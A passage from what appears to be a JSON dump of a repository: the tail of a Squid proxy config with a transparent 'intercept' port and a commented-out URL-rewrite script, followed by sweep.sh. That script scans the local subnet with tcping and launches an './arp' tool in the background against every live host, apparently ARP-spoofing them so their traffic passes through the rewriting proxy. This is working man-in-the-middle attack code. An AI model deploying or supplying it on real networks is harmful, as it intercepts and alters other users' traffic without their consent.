allowed\nhttp_access allow localnet\nhttp_access allow localhost\n\n# And finally deny all other access to this proxy\nhttp_access deny all\n\n# Squid normally listens to port 3128\nhttp_port 3128\nhttp_port 3129 intercept\n\n# Uncomment and adjust the following to add a disk cache directory.\n#cache_dir ufs /var/cache/squid 100 16 256\n\n# Leave coredumps in the first cache dir\ncoredump_dir /var/cache/squid\n\n#\n# Add any of your own refresh_pattern entries above these.\n#\nrefresh_pattern ^ftp:\t\t1440\t20%\t10080\nrefresh_pattern ^gopher:\t1440\t0%\t1440\nrefresh_pattern -i (/cgi-bin/|\\?) 0\t0%\t0\nrefresh_pattern .\t\t0\t20%\t4320\n\n#url_rewrite_access allow localnet\n#url_rewrite_program /usr/local/bin/cage.sh\n#url_rewrite_children 5\n"
  },
  {
    "path": "sweep.sh",
    "content": "#!/bin/bash\n\nif [ $# -lt 1 ]; then\n\techo \"Error: you must specify an interface name\"\n\texit 1\nfi\n\n# get the CIDR notation\nIN=$(ip a | grep \"$1\" | tail -n 1)\narrIN=(${IN//\\// })\nIP=${arrIN[1]}\nBITS=${arrIN[2]}\nITER=$((2**$((32-$BITS))))\n\n# start with a full netmask\nMASK=$((2#11111111111111111111111111111111))\nMASK=$((MASK - ITER + 1))\n\n# convert from dotted quad to a single integer\narrIP=(${IP//./ })\nIPNUM=$((arrIP[0] << 24 | arrIP[1] << 16 | arrIP[2] << 8 | arrIP[3] << 0))\nIPNUM=$((IPNUM & MASK)) # apply the mask\n\nfor ((i=0; i < ITER; ++i)); do\n\t# this type of ping gets through more firewalls than ICMP\n\tCURIP=$((IPNUM + i))\n\ttcping -q -u 10000 $CURIP 6000\n\tSTAT=$?\n\n\t# status codes: 0 means connection was opened, 1 means we got a RST (which\n\t# means there is someone there to talk to), and 2 means we timed out\n\t# (timeout is 10000 us aka 10 ms, which is plenty for a LAN)\n\tif [ $STAT -ne 2 ]; then\n\t\t# convert back to dotted quad\n\t\tIP0=$((CURIP >> 24))\n\t\tIP1=$(($((CURIP >> 16)) & 255))\n\t\tIP2=$(($((CURIP >> 8))  & 255))\n\t\tIP3=$((CURIP & 255))\n\t\t\n\t\tIPSTR=$IP0\".\"$IP1\".\"$IP2\".\"$IP3\n\t\techo $IPSTR\n\t\tif [[ $2 != \"-p\" ]]; then\n\t\t\t./arp $IPSTR 2 -q &\n\t\tfi\n\tfi\ndone\n"
  }
]